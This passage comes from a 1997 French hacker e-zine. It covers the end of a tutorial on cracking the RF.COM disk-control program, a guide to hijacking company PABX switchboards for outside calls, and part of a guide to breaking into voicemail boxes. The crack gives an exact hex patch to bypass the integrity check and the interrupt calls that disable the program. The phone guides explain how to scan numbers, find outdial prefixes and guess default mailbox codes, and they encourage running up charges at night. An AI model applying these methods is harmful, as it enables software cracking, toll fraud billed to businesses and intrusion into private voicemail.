ah,9 # 0D70 CD 21 int 21h ; DOS Services ah=function 09h # La il a affiche les tests d'integritees. # 0D72 B8 3D00 mov ax,3D00h # 0D75 BA 0C66 mov dx,0C66h ; (815C:0C66=0) # 0D78 CD 21 int 21h ; DOS Services ah=function 3Dh # Ici, le prg ouvre le fichier fr.com (pour test CRC) ; open file, al=mode,name@ds:dx 0D7A 8B D8 mov bx,ax 0D7C C7 06 0157 0000 mov data_24,0 ; (815C:0157=0) 0D82 BF 0001 mov di,1 0D85 loc_94: ; xref 815C:0DBA # 0D85 B4 3F mov ah,3Fh ; '?' # 0D87 B9 0200 mov cx,200h # 0D8A BA 0874 mov dx,offset data_64 ; (815C:0874=20h) # 0D8D CD 21 int 21h ; DOS Services ah=function 3Fh # La il lit le fichier... ; cx=bytes to ds:dx buffer 0D8F 73 03 jnc loc_95 ; Jump if carry=0 0D91 E9 003F jmp loc_98 ; (0DD3) 0D94 loc_95: ; xref 815C:0D8F 0D94 3D 0000 cmp ax,0 0D97 74 23 je loc_97 ; Jump if equal # et ici, si le test est bon, il poursuit... vers... cs:0DBC 0DBC loc_97: ; xref 815C:0D97 0DBC B4 3E mov ah,3Eh 0DBE CD 21 int 21h ; DOS Services ah=function 3Eh # Ici, il vient de fermer le fichier fr.com # Et alors, c'est la partie la + interessante du prg pour le test CRC ; close file, bx=file handle 0DC0 A1 0157 mov ax,data_24 ; (815C:0157=0) 0DC3 03 06 0104 add ax,data_5 ; (815C:0104=0BB0Dh) 0DC7 3D FFFF cmp ax,0FFFFh # 0DCA 74 0B je loc_99 ; Jump if equal # VOILA ce qui le perdra :))) # cet petit saut conditionnel ! # si il est po verifie , le prg quitte ! # alors remplacer le par 1 JMP # soit JMP 0DD7, ce qui pour 1 modif en editeur hexa donne : EB 0B # au lieu de 74 0B :) { Explic pour les neuneux... A l'aide d'1 editeur HEXA, ouvez le fichier RF.COM. Il fo ensuite remplacer notre branchement je par 1 jmp ! (jump...) On recherche donc un 74 0B, mais il se peux qu'il y ai plusieur 74 0B ds le prg. Alors on rallonge la chaine... on prend ce qui est devant ou derriere ! par exemple : - on va chercher : 04 3D FF FF 74 0B - pour le remplacer par : 04 3D FF FF EB 0B Et c'est tout ! } # 0DCC BA 0CB6 mov dx,offset data_88 ; (815C:0CB6='') # 0DCF B4 09 mov ah,9 # 0DD1 CD 21 int 21h ; DOS Services ah=function 09h # la il affiche que le prg est altere... utiliser 1 copie saine... # o cas ou le crc soit po bon ! ; display char string at ds:dx # 0DD3 loc_98: ; xref 815C:0D4B, 0D91 # 0DD3 B4 00 mov ah,0 # 0DD5 CD 21 int 21h ; DOS Services ah=function 00h # et fin du prg... termnaison ; terminate, cs=progm seg prefx # 0DD7 loc_99: ; xref 815C:0DCA # 0DD7 BA 0CF6 mov dx,offset data_90 ; (815C:0CF6='- OK') # 0DDA B4 09 mov ah,9 # 0DDC CD 21 int 21h ; DOS Services ah=function 09h # et ici , le fameux 0DD7 pour notre JMP ! # le prg affiche OK ! # et il continu normalement meme si le test est po bon !!! Bon ben voila c'est fini pour la partie controle de l'integrite ! On attaque maintenant la partie hack du sys de controle des disquettes. Et ya du boulot ! Bon tout d'abord, on remarque que losque l'on charge RF,le prg place 1 vecteur d'interruption : 13 2F (chez moa vers l'adrs 0510:0) Ben pour ceux qui connaisse deja bien les verteurs d'interuption, le compte est bon... on le degage ! (Apres quand on se casse, on relance rf.com [ex d'univ]) Mais y une autre solution plus subtile... Si on continue a desass le prg, on voit 1 petit truc interessant, en ce qui concerne la creation et la modif de vecteurs. En effet, le prog va intervenir sur l'int 13h (acces lecteurs etc...) et va creer de nouvelle fct. Reste donc plus qu'a analyser le code et a voir si ya po des fct qui pourrait nous interesser ! Trace Start ! (suite) 0DDE BB 013A mov bx,offset data_8 ; (815C:013A=6Eh) 0DE1 BA 0000 mov dx,0 0DE4 BE 0082 mov si,data_4e ; (815C:0082=0) 0DE7 loc_100: ; xref 815C:0DEE, 0E11, 0E3D, 0E45 ; 0E4D, 0E55 # 0DE7 AC lodsb ; String [si] to al # 0DE8 3C 0D cmp al,0Dh # 0DEA 74 6B je loc_109 ; Jump if equal # 0DEC 3C 2F cmp al,2Fh ; '/' # 0DEE 75 F7 jne loc_100 ; Jump if not equal # Le prg se casse generalement vers le loc 109... et ne continu po sur le # 0E62... # De toute facon on se retrouvera sur le loc 109. # On va donc faire 1 tour du cote du loc 109... ; 0E3B # 0E57 B8 3080 mov ax,3080h # 0E5A BF 5349 mov di,5349h # 0E5D BE 4E47 mov si,4E47h # 0E60 CD 13 int 13h ; ??int non-standard interrupt # AHHHH... Ici on n'a le droit de se poser des questions.... # Vois la connaisser cette fct de l'int 13h... non, ben moa non plus ! # Continuons 1 peu pour voir... 0E62 3C FF cmp al,0FFh 0E64 74 03 je loc_110 ; Jump if equal 0E66 E9 000C jmp loc_111 ; (0E75) 0E69 loc_110: ; xref 815C:0E64 # 0E69 B4 09 mov ah,9 # 0E6B BA 0CFD mov dx,offset data_91 ; (815C:0CFD='') (RF deja inst...) # 0E6E CD 21 int 21h ; DOS Services ah=function 09h # Ici, c'est tres clair... Le logiciel RF utilise 1 fonction qu'il definit lui # meme, mais comme il ne l'a pas encore definit, le test est negatif ! # ce qui signifie que c'est le permier lancement... il peut s'installer ! # Je reprend, la fonction 30h, sous fct 80h de l'int 13h est cree par RF. # Donc, on lance RF pour la premiere fois, le soft ne connait po cette fct # puisqu'il ne l'a po encore inst ! # Or, si il est deja resident, il reconnait cette fonction, et place donc # 0FFh ds AL, et suite a la comparaison, le test est positif, il saute donc # sur loc 110 et quitte vers le dos ! (message -RF deja installe-) # # Ici, on a avanc, on connait 1 fct posee par RF ds l'int 13h ! # mais elle ne nous sert po a grand chose! En grattant un peu on va trouver # des trucs plus interessant ! ; display char string at ds:dx # 0E70 B8 4C01 mov ax,4C01h # 0E73 CD 21 int 21h ; DOS Services ah=function 4Ch # termine le prg ; terminate with al=return code 0E75 loc_111: ; xref 815C:0E66 # 0E75 B8 4BFD mov ax,4BFDh # 0E78 CD 13 int 13h ; ??int non-standard interrupt # encore 1 op non conforme hehehe :)) # avec l'int 13h... a approfindir ! 0E7A BB 013A mov bx,offset data_8 ; (815C:013A=6Eh) 0E7D 8B 07 mov ax,[bx] 0E7F 33 47 02 xor ax,[bx+2] 0E82 33 47 04 xor ax,[bx+4] 0E85 33 47 06 xor ax,[bx+6] 0E88 A3 0143 mov data_13,ax ; (815C:0143=0) # 0E8B B8 3513 mov ax,3513h # 0E8E CD 21 int 21h ; DOS Services ah=function 35h # lit notre lecteur d'int ; get intrpt vector al in es:bx 0E90 89 1E 0198 mov word ptr ds:[198h],bx ; (815C:0198=0) 0E94 89 1E 019F mov word ptr ds:[19Fh],bx ; (815C:019F=0) 0E98 8C 06 019A mov word ptr ds:[19Ah],es ; (815C:019A=0EF6Fh) 0E9C 8C 06 01A1 mov word ptr ds:[1A1h],es ; (815C:01A1=0EF6Fh) # 0EA0 BA 0177 mov dx,offset int_13h_entry # 0EA3 B8 2513 mov ax,2513h # 0EA6 CD 21 int 21h ; DOS Services ah=function 25h # Et la, c'est 1 partie super importante !!! # noter bien le : dx,offset int_13h_entry # ce sont les routine qui vont etre pose ds notre vecteur. # je vous renvoye donc a cette adresse qui compose les 2.4ko du soft charge # en memoire. # (c'est a peu pres tout ce qu'il y a avant 0D1D ; # sans les messages de presentations...bien sur ) ; set intrpt vector al to ds:dx # 0EA8 B8 3513 mov ax,3513h # 0EAB CD 21 int 21h ; DOS Services ah=function 35h # Lit le vecteur # 1 peu + loin... # 0EBD BA 0242 mov dx,offset int_13h_ent_1 # 0EC0 B8 2513 mov ax,2513h # 0EC3 CD 21 int 21h ; DOS Services ah=function 25h # Encore 1 adressage qui compose le resident... # que l'on retrouve aussi a : # (pour la 2Fh) 0EF9 B4 25 mov ah,25h ; '%' 0EFB B0 2F mov al,2Fh ; '/' 0EFD BA 0712 mov dx,offset int_2Fh_entry 0F00 CD 21 int 21h ; DOS Services ah=function 25h # Apres + rien d'important... le programme se termine en restant residant. Pour ceux qui touche deja po mal, y ont du se faire chier jusqu'ici... Mais je voulais que cette article soit accessible a tout le monde. Alors les experts pourrons chercher ds la premiere partie du prog les fonctions interessante si ca les amuses... :) Pour les autres, ca commence a se corser, et mon article commence a etre long, vu que j'ai po encore traite la partie sur le crack ! Ha, la je sens que yen a qui vont dire... il se defile :)) Mais non, j'ai tous simplement prevu d'ecrire 1 article specialement oriente sur les vecteurs et les interruptions ! Et je reparlerais du cas de RF qui est tres interessent, (et bien sur je reprendrais la permiere partie du prg. Mais la, 1 connaissance parfaite de l'ASM est exig et se sera 1 article plutot pour les experts en crk ;) Avis aux amateurs... Ben ouaip, jusque la yen a eu que pour les newbies :)) En attendant je vais vous filer du tout cuit ;) On connait deja la 3080h qui verifie si le prg est installe, mais ya aussi : - 3000h ,qui desactive RF !!! - 3002h ,qui reactive RF - 3009h ,qui certifie 1 disquette et yen a peut-etre d'autres... ( a vous de chercher =) Passons maintenant a l'elaboration du crack ! --------------------------------------------- Ben c'est po bien complique, il suffit d'appeler l'int 13h avec les bonnes valeurs ds les registres : mov di,5349h ;# Reportez vous a la loc 109 ! mov si,4e47h ;# " " mov ax,3000h (pour desactiver par exemple...) int 13h C'est TOUT !!! Tout compte fait, c'etait po si long ! Le plus rapide etant de faire 1 petit fichier com. Rmq: Le di et si doivent etre imperativement pos... sinon ca marche po. Ya des exemples ds le fichier ZIP: - ACTIV_RF.ASM - DESAC_RF.ASM - CERTIF.ASM - TESTRF.ASM Et les COM respectif. On peut aussi tout inclure ds 1 seul fichier... mais ca c'est de la prog classique : fichier KSILLY.COM (c'est qu'1 exemple, on peut faire 10 * mieux... mais aussi 10 * + long ... ;) Ben voila, c'est a peu pres tout ce que j'avais a dire sur RF :)) Je remercie tout particulierement Berth ( /MINE\ ), avec qui on s'est bien amus a cracker cette petite merde hehehe :) GREETINGS: SD,Sorcery,CoD4,MikaSoft,Fft,Kwel,Doc. PiXel4 ------------------------------------------------------------------------------- NoRoute #1 Hacking PABXz 4760 CoD4 NoRoute #1 ------------------------------------------------------------------------------- Hacking PABXz ----------------------------------------------------------------------------- By CoD4, from The Philament Empire (PhE!), 1997 MES TRES CHER FRERES NOUS SOMMES REUNIS POUR HACKER DES PABX!!! *************************************************************************** * Toutes les informations fournies dans ce document ne le sont que dans * * un but purement educatif, et il est formelement interdit par la loi de * * les exploiter. A part vous, personne n'est responsable de ce que vous * * faites, et l'auteur de pourra en aucun cas etre tenu pour responsable * * des dommages causes a la suite de la lecture de ce document ! NA ! * *************************************************************************** ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' PABX, DA ULTIMATE UPDATE ! Je crois que vous avez la l'article le plus complet que vous serez jamais amene a lire, eh oui ! Vous allez gober de l'info qu'il vous faut (mauvais jeu de mots :(...) [ HACKONS LES PABX ] 1: C'est quoi un PABX ? Un PABX (Private Automatic Branch eXchanger) est en fait un central telephonique qui gere les appels entrants est sortants. Il gere le reseau interne aussi bien que le reseau externe. Pour vous donner un exemple: Mr Lamer travail chez Grolame & Co. Monsieur Lamer veut telephoner... Pour cela, il decroche son telephone, il appuie sur `0' puis il compose son numero. Voila en gros a quoi un PABX peut servir. Bon on y va alors. A quoi ca peut bien vous servir de savoir que Mr Lamer lamer peut phoner depuis son poste en faisant le 0' ??? D'abord vous devez comprendre a quoi ca ressemble un PABX. o Chaque employe a un poste bien a lui, OK ? o Chaque employe a une ligne directe (surement), OK ? (surement car le PABX ne servirait a rien sinon, eh!). o Tous les employes sont relie au PABX. Bon voyons de plus pres comment ca marche maintenant: vous appelez le PABX. Ensuite, une fois dans le PABX, vous pouvez etre redirige entre les differents postes ou services (les 4 derniers chiffres du numeront correspondent au numero du poste, par exemple 12 12 + numero de poste, comme 0003). 12 12 00 03 c'est bon, vous avez compris, et je vous vois dire que c'est facile une fois qu'on connait les 4 premiers chiffres. C'est les memes que ceux de l' entreprise. Ex: voici le numero de l'entreprise Grolame & Co, 12 12 00 05. Vous savez maintenant qu'il faut mettre 12 12 + pour avoir le numero de la ligne directe de l'employe (attention, les PABX en numeros verts ne fonctionnent pas pareil, vous n'avez pas de ligne direct dans ce cas la). Ligne directe Ligne directe ex: 12 12 00 00 ex: 12 12 00 01 * * | | Ligne directe | | ex: 12 12 00 03 | | | |Poste| |Poste| |###| |Poste |-------------* Ligne * |tele.| |tele.| |VMB| |fictif| * externe * | | | | | | | | --------------------------------------------------- | PaBX - PaBX - PaBX - PaBX - PaBX - PaBX - PaBX | Numero du PABX: 0005 --------------------------------------------------- | | | | | | Ligne en numero vert Ligne d'entree Ligne de sortie utilisee (0800 99 99 99) (12 12 00 05) par les employes Bon, voici la theorie... Pour detourner les PABX a son avantage, vous avez plusieurs choix: o Soit vous vous connectez par la ligne directe de l'employe, et une fois le contact telephonique etabli, vous vous trouvez exactement a la place de l'employe et donc vous pouvez ici tester les differentes methodes (exposees plus loin) pour essayer de faire un outdial. o Sinon, vous vous connectez directement au PABX en composant le numero du poste ou vous voulez aller. Ex: lorsque vous etes sur la "tone" interieure du PABX (ou le service qui vous met en contact avec un poste automatiquement), vous composez le numero du poste ou le PABX va vous router. Pour etre plus clair, lors du "Booooooooooooooo", faites le numero de poste ou vous voulez aller, comme 00 03 par exemple, et une fois le numero compose, vous vous retrouvez a la meme position que l' employe au poste xx xx et donc comme lui vous pouvez appeler l'exterieur ! Vous avez surement remarque le "poste fictif". Certains PABX utilisent un poste dit fictif pour appeler l'exterieur. Voila pour la theorie... 2: Ca se deroule comme ca ! 1. Trouver un PABX. 2. Comprendre de quelle famille est le PABX. 3. Trouver la facon de faire un Outdial. 4. Abuser du PABX. 5. Les conneries que l'on dit sur les PABX. 6. Disc-lamer :)). 2.1: Partons a la quete du PABX Pour ceux qui aurait lu mon article sur les VMB, ils reconnaitront des extraits de cet article. Oui, c'etait parfait, et je vois pas pourquoi je l' ecrirai de nouveau :) 2.1.1 Trouver un numero (scanner les PABX a partir de 9h) Pour trouver un numero vert qui est susceptible d'avoir un PABX sans scanner pendant des jours, il faut faire les numero avec methode: o Faites des numeros du genres 0800 XAB XAB. ex: 0800 140 140 ou 0800 120 120 o Il y'a les numero du genre 0800 AB XC XC. ex: 0800 50 20 20 (vous incrementerez les numero XC de +1, ex: 0800 50 20 20, 0800 50 21 21) o Puis vous avez les numero du genre 0800 41 42 43 ou 0800 43 42 41 (qui s'incremente ou se decremente) o Puis ceux du genre 0800 XA XC XB. ex: 0800 30 31 35 ou 0800 40 47 45 etc... Bref, tous les numeros qui sont faciles a memoriser ! OK ? --> Pour ceux qui n'ont pas le courage de faire ca a la main, et bien vous feriez mieux de faire autre chose ;) Fermons la la parenthese :) Bon ca *sonne* ! Mais maintenant, je fais quoi ? Tu te tais et tu ecoutes. o Si c'est une femme, c'est pas bon. o Si c'est un repondeur, OK, ca peut etre un PABX. o C'est une messagerie vocale. Bon, on va voir, il y a peut-etre un PABX. o Ca vous demande un code confidentiel ? C'est un PABX ! :) o Ca dit rien... Strange ! Mais on garde, ca peut etre un PABX. Bon, ensuite, vous trouverez par vous-meme si c'est des PABX ou pas. Ok, maintenant qu'on a un numero susceptible d'etre un PABX on fait quoi ? (tu passes a l'etape suivante) 2.2 La famille du PABX Maintenant que tu as un numero, essaye la touche `0'. Si ca fait "booooooo", c'est bon, c'est un PABX. Si ca marche pas avec la touche `0', essaye avec `#', `*', `9' ou `1'. Quand tu tombes sur la tone "booooooo", c'est bon. Si rien marche, essaye la sequence de touches `0*'. Si ca marche, c'est que c'est un PABX Meridian. Si ca demande un code confidentiel, tapes rien et lis ce qui va suivre ! 2.3 Faire un Outdial Exemple de PABX qui fait "booooooooo": 0800 397 397. Bon, il faut maintenant se connecter sur un poste (vous savez tous bien sur comment trouver un numero de poste !). Maintenant que tu as le "booooooo" qui te tape sur le systeme, compose le numero de poste ou tu veux aller, et tu tomberas sur le greeting de l'employe, qui t'invite a laisser un message. Mais toi, tu vas pas laisser un message, tu fais donc le `0'. 1. Tu vas retomber sur le "Booooooooooo" (c'est la tone interieure du PABX). Bon maintenant, essaye de faire le `0' puis fais le numero que tu veux faire (fais le 14 par exemple comme ca tu verras ou se trouve le PABX). Si ca marche pas, essaie toutes les methodes suivantes: o 00 + ton numero o 1 + ton numero o 11 + ton numero o 9 + ton numero o 99 + ton numero o Si ca marche toujours pas, essaye de 1 a 9. ex: # 5 + numero (des fois, il faut doubler l'indicatif. La, dans l' exemple, c'est le 5 l'indicatif). o Bon, si ca marche toujours pas, essaye de le faire sans le `*' devant. o Recommence en 1 mais avec le # avant l'indicatif. ex: # + 0 + numero o Sinon, autre technique: faites le numero du standard + numero. o Ca marche toujours pas ? Essaye de faire un numero de poste puis l' indicatif, puis ton numero (numero de poste = numero de VMB, donc ce serait pas mal de lire mon autre article sur les VMB, ou tout autre qui vous expliquera comment avoir une VMB). Bien sur, vous pouvez essayer au pif, et surtout les numeros commencant par 4. ex: (4410 + 1 + XX XX XX XX XX), ou 4410 = numero de poste o Argh ! Ca marche encore pas ? Essaye de le faire en changeant l' indicatif 1 ou 9 ou 0. Double pour voir si ca marche pas (sur certains PABX, il faut faire # + numero de poste + indicatif + numero). Bon la si rien ne se passe, c'est qu'il faut composer un numero de poste special. * Pour faire les outdial. (une fois sur la tone "booooo", vous pouvez appeler un poste de la boite en composant son numero). La, une seule facon de le trouver, c'est de faire les numeros un par un, en sachant que quand ca vous raccroche, c'est que le dernier numero que vous avez compose n'est pas bon. Ex: '4' c'est bon la, ca a pas raccroche ou sonne au standard. Puis je fais le `9'. La, ca sonne ou ca raccroche, c'est que le 9 n'etait pas le bon chiffre. Donc, rappelez, faites le `4' car vous savez qu'il est valide, recommencez avec un autre chiffre que le `9' car vous savez qu'il est pas bon. Bon, si vous avez scanne tous les numeros et que vous avez rien trouve, c'est pas la peine, ca doit etre un PABX ou on ne peut pas faire d'outdial. :( (attention, certains PABX vous permettent de faire un outdial en composant votre votre indicatif + numero dans une boite vocale. Certains se font meme carrement lorsque vous laissez un message, donc vous devez laisser un message apres le BiiiiiP. Faites votre indicatif + numero (des fois, faites le '#' devant l'indicatif) Cas des PBX Meridian La, je laisse parler Easy-Hacker de N0WaY (il aime les Meridian). J'ai rajoute des precisions. Un numero de Meridian: 0800 153 153. -=)> NT Meridian Mail <(=- -------------------------------- 0n les reconnait tres aisement a la voix de la nana qui prononce les messages enregistres et aux messages qui, en dehors du message d'accueil, sont toujours les memes. N'etant pas une solution sur PC et etant cense etre pret a l'utilisation en quelques dizaines de minutes, les VMB meridian offrent toutes les memes commandes et l'arborescence differe tres peu de l'une a l'autre. L'arbo classique est la suivante: lorsque vous appellez, vous etes confrontes a un repondeur des plus classiques, vous laissez votre message et vous vous cassez. Si vous etes un peu curieux, vous tripotez les touches *,0 et # jusqu'a tomber sur le message jouissif: "Vous avez obtenu un service automatise qui vous mettra en relation avec le numero compose. Veuillez entrer le nom ou le numero de la personne desiree suivit de la touche #" En France, et pour rester compatible avec ce que nous avons evoques plus haut (ligne directe=(z)abpq+numero de poste), les numeros de postes (qui sont aussi les numeros des bals sur la VMB) sont sur 4 chiffres. En regle generale, entre 0 et 9 se trouvent des trucs particuliers comme le standard, le fax ou l'acces aux reseaux internes. Le 0 est toujours le standard, ou plus exactement le numero d'aide (car il est possible de le changer comme nous le verrons plus tard). Donc bref quand on a ce message, il suffit de composer le numero du poste puis # et hoplaboum ca dit allo dans l'poste. Si vous preferez une version americaine du "allo", trois cas pos- sibles: ########################################################################### # ATTENTION: vous devez etre poste sur un vrai numero de poste. # # Si vous le faites directos, vous ne pourrez pas dans la plupart des cas # # faire des outdial (lisez mon article sur les VMB pour plus d'infos) # ########################################################################### 1) Il suffit de faire un indicatif sur un chiffre pour avoir l'exterieur. Cet indicatif est souvent 0,1 ou 9. Suit alors le numero de telephone puis la touche #. Si vous avez le message "Il est impossible d'obtenir ce numero a partir de ce service" c'est pas le bon indicatif, mais ca ne signifie pas pour autant que le PBX est grille. Attention, certaines lignes peuvent etre en acces restreint (interdiction du 19 et du 36). Tiens j'en profite pour ajouter une petite precision importante. Il est possible d'appeller quelqu'un a partir de son nom en faisant 11 puis son nom converti en chiffres (ca se trouve encore sur les telephones ca ?), puis le #. Kewl sauf que si l'indicatif d'outdial est le 1, lorsque vous voulez appeller la province ou l'etranger, ca donne 119 ou 116 et cet abruti de PBX croit que vous voulez appeller quelqu'un par son nom. Les PBX qui choisissent mal leur indicatif sont donc assez limitees, mais ca depanne pour Transpac. 2) L'acces a l'exterieur n'est possible qu'en appellant une ligne de transit, representee par un numero de poste classique. En clair, il faut alors composer un numero de poste sur 4 chiffres, #, et si on tombe sur une tonalite, on peut enfin tester indicatif d'outdial+numero (plus besoin de faire #, tout ce que vous composez est envoye en direct sur la ligne de transit). Ces lignes de transit sont souvent utilisees pour la telesur- veillance informatique (n'esperez pas en trouver le numero sur le 11). ############################################################################## ################ vous trouverez d'autre methode sur mon article sur les VMB### ############################################################################## :les pabx avec un acces par code ex: 0800 00 2002 un autre cas se sont les pabx a code confidentielle souvent je dis souvent les 2 premiers chiffre sont les meme ex: 44 xx ou 55 xx 4. ABUSONS DU PBX La votre serviteur vous laisse faire :) Sachez toutefois qu'il vaut mieux l'utiliser la nuit. Si vous n'avez pas trouve de PABX, sachez que les PABX en numero vert plus durs a hacker :) Enfin, ne phonez pas pendant 12 heures a votre cousine en Islande. Non seulement, c'est trop gros et sachez que si vous mettez 120 000F de bill a la boite, ca risque de vous attirer des problemes... 5. LES CONNERIES QUE L'ON A DIT SUR LES PABX * Oui, les PABX savent notre numero de telephone ! Non les PABX n'affichent pas votre numero de telephone sauf si vous avez un ligne Numeris (on peut demander a avoir l'anonymat) * Les PABX, c'est hyper trace ! Arretons le massacre il y'a pas un tracer sur chaque PABX. Ici, chez FT, le phreaking ils sont pas trop atteints, c'est pas comme chez Sprint ou MCi * Les PABX ca marche pas ! Ha ha! Il est vrai que les PABX sur numero vert sont durs... * Oui, mais moi je veux un PABX maintenant, la, en 38 secondes maxi. Fais le 36 15 La Reboute * Oui mais moi, je fais du warez et je veux rien savoir. Moi je joue a Quake sur 486, je phreak avec mes doigts et je lance mes casseurs de password sur des gros Cray ! Hacking roue-laisse (ca fait bien de dire rulez :) * Stop le delire CoD4, je te crois est je m'en vais retourner au warez. Arg!! :) 6. DISC-LAMER T7HS (the 7th hacker's society) (si ton nom y figure pas, il y'a bien une raison !!!) Salut a Morgan pour son aide tres precieuse. Special dedicace (l'autres est zi-va) a: o LARSEN HVU vaincra ! o Tous les membres du T7HS est tous ceux de #HACKFR o a LOGINZ, ^mars, scud, pegase, kikoo (qui m'a dit d'aller a la FAC), |ouyshla| et a tous les membres de PhE! (#PHe). Et le MEGA BIG UP pour France Telefarce ;) Et hop!, un peu de pub pour mon channel: #warez-FFT Allez voir sur #warez-france pour me trouver, ou sur #hackfr Vala, c'est tout. Bye ! COD4 phreaking ROUX-LAIZE !!! [SI...] Si tu est phreaker pro, contacte-moi, j'ai encore a apprendre. Si quelqu'un a des rajouts a faire, ou des critiques, des idees, ce serait bon qu'il me donne son avis. Si votre pere travaille chez F.T ou vous meme et que vous avez des infos ou des des docs, contactez-moi ! Si vous installez des PABX, que vous dormez avec le standard et non pas avec la standardiste, re-contact me ! --> Recherche un pro du cellulaire et un pro de la box. Merci. ******************* */~*/~\*|\**|\**/** *\_*\_/*|/**|*\/*** ******************* H/P ROULE-ASS ############################################################################## COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 ############################################################################## NoTe: j'ai corrige les fautes d'orthographe, la mise en page et tout, et je peux vous dire qu'y avait du boulot ;). Si vous voulez contacter CoD4, vous pouvez toujours laisser un mail sur la boite du groupe, je transmettrai: phe@mygale.org -- HoTCoDe, PhE!. il a raison [CoD4] _______ __ __ ______ | _ \| |_| | _____| H/P French Group ! | |_) | _ | ____| http://www.mygale.org/02/phe | ___/|__| |__|______| phe@mygale.org |___|THe PHiLaMeNT eMPiRe ------------------------------------------------------------------------------- NoRoute #1 Hacking de VMB 4761 CoD4 NoRoute #1 ------------------------------------------------------------------------------- -=|HACKING DE VMB|=- Methodes reconnues et fiables pouvant etre realises par n'importe quel humain qui a un cerveau. -=|DEFINITION|=- Une VMB c'est une boite vocale ou on peut vous laisser des messages vous pouvez les ecouter c komme un repondeur mais si votre boite vocale est accessible par un numero vert n'importe ki peut vous appeler sans payer est vous pouvez ecouter vos messages sans payer voila.. -=[ 1. FUCK TELECOM ]=- Avant de parler de comment trouver une vmb il faut savoir a koi a ressemble. Je classe les vmb en 3 sortes les types '1,2' les types '1,#' puis les meridian. Bon jusque la ca veut rien dire he bien regardez les types '1,2' veut dire que une fois o menu de la VMB j'ai le choix entre la touche '1' pour envoyer un message et '2' pour aller dans ma boite aux lettres (voici un numero de type '1,2' le 0800 00 10 10). Pour les types '1,#' c'est le choix entre la touche '1' pour envoyer un message et '#' pour aller dans la boite aux lettres. (voici un numero de type '1,#' 0800 43 47 45). Puis pour les VMB meridian pour les reconnaitre il faut faire '81' quand l'annonce passe pour aller au menu de la vmb (certaines messageries meridian disent carrement "bienvenue dans la messagerie meridian") (voici un numero de vmb meridian le 0800 153 153). Voila on a presque tous les types de VMB que j'ai rencontre (certaines vmb sont differentes mais elles se ressemblent presque toutes) -=[ 2 LET'S ROCK ]=- Bon passons aux choses dites serieuses: le hack d'une VMB se compose de cette maniere: 1: trouver un numero 2: voir si c une voie enregistree qui decroche (c bon) ou si c une gentille jeune fille qui nous "allo" (c poa bon).. 3: tester si ce numero a une VMB ou un PBX 4: si oui decouvrir la procedure pour acceder a la vmb 5: decouvrir le type de VMB ('1,2' ou '1,#' ou meridian) 6: HACKER la VMB 7: ABUSER de la VMB ;) Allez on y va.. -=[ 2.1 TROUVER UN NUMERO ]=- Pour trouver un numero vert qui est susceptible d'avoir une VMB sans scanner pendant des jours pour 3 ou 4 vmb il faut faire les numero avec methode par exemple faites des numeros du genre 0800 XAB XAB ex: 0800 140 140 ou 0800 120 120 il y'a les numero du genre 0800 AB XC XC ex: 0800 50 20 20 (vous incrementerez les numero XC de +1 ex: 0800 50 20 20 ,0800 50 21 21) puis vous avez les numero du genre 0800 41 42 43 ou 0800 43 42 41 (qui s'incremente ou se decremente) puis ceux du genre 0800 XA XC XB ex: 0800 30 31 35 ou 0800 40 47 45 etc.... bref tous les numero qui sont faciles a memoriser OK (pour ceux qui on poa le courage de faire a a la main est bien ils feraient mieux de faire autre chose ;) ) -=[ 2.2 TEST DU NUMERO (VMB OR NOT VMB) ]=- Tous d'abord le test du numero doit se faire la nuit (souvent les PBX qui SONT souvent associes avec des vmb ne marchent que la nuit ). Bon votre numero que vous avez fait sonne si a dit "allo" c poa bon si a dit "bienvenue dans messagerie vocale machin " il y'a pas plus clair si a dit "vous etes bien chez machin notre service n'est poa ouvert" ou tous autres messages de ce genre IL PEUT Y AVOIR UNE VMB. -=[2.3 TESTER SI LE NUMERO EST UNE VMB OU UN PBX ]=- Bon pour le savoir appuyez sur les touches '#' ou '*' ou '0' ou '9' ou '81' ou '0* ' si la femme se tait et vous dit "entrez votre numero de boite vocale" ou tous se ki se rapproche c bon il y'a un VMB vous pouvez parfois tomber sur une tonalite grave qui FAIT "Boooooooooooooooo" c un pbx (attention vous tous les pabx ne font poa "Boooooooooooooooo" ) aller autre etape.. -=[ 2.4 DECOUVRIR LA PROCEDURE POUR ACCEDER A LA VMB ]=- Bon refaites le numero reappuyez sur la ou les touches qui vous ont permis de decouvrir que le numero a bien une VMB EX: 0800 43 47 45 ,# une fois que vous etes arrive a la femme (ou le mec) qui vous dis les options possible vous pouvez passer a l'etape suivante. -=[ 2.5 DECOUVRIR LE TYPE DE VMB ]=- Ecoutez bien la femme qui vous dit ses options si elle dit "pour envoyer un messages appuyer sur '1' ..... pour aller dans votre boite vocale tapez '2'" (VMB DE TYPE '1,2' ) ex : le 0800 00 10 10 bon si elle dit "pour envoyer un message appuyer sur '1' pour aller dans votre boite vocale appuyer sur '#'" (VMB DE TYPE '1,#') ex : le 0800 43 47 45 bon pour savoir si c un meridian c simple si vous avez accede au VMB en faisant 81 c un VMB meridian ou souvent a vous le dit du genre "bienvenue dans le messagerie meridian" ok ex: 0800 153 153 -=[ 2.6 HACKER LA VMB ]=- Tout d'abord on va parler de la procedure qui est valable pour les types de VMB '1,2' et '1,# ' puis on attaquera le cas meridian. GO HACK D'une VMB de type '1,2' ------------------------------ Faites le numero de telephones puis dites a la vmb que vous voulez aller dans votre boite vocale elle va vous demander votre numero de boite vocale tapez un chiffre au hasard par exemple le '1' si a ne dit rien c que le numero 1 est valide puis tapez un autre chiffre ex: le 3 si a dis "numero incorect" c poa le '3' essayer un autre chiffre 4 par ex si a ne dit rien c que c bon exemple votre numero de boite vocale est en ce moment 14xx. x=chiffres a trouver continuer jusqu'a trouver une boite valide si on vous demande poa votre code confidentielle c bon vous avez une VMB (non ne partez pas de suite dans ce genre de VMB tres peu ont un numero de code generalement se sont les phreakers qui en ont :) GO HACK D'UNE VMB DE type '1,#' ------------------------------- Effectuer la meme procedure que pour les VMB DE TYPE '1,2' pour trouver un numero de boite vocale et une fois que vous avez decouvert un numero de boite vocale valide on va vous demander votre numero de code dans 99% des cas le numero de code est le numero de la boite exemple : 44 55 code 44 55 sinon essayez des numeros du type numero de la boite a l'envers des numeros de code du genre 1111 ou 1234 bref vous voyez le truc (sinon faites une cure rapide de malice ou allez voir France-Telecom pour voir si ils ont du boulot ) #############################[ L'Astuce du siecle! ]########################### Quand vous essayez de hacker une VMB vous etes generalement VIRES AU BOUT DE 3 MAUVAIS ESSAIS pour eviter de se faire virer ,au bout du 2eme essai 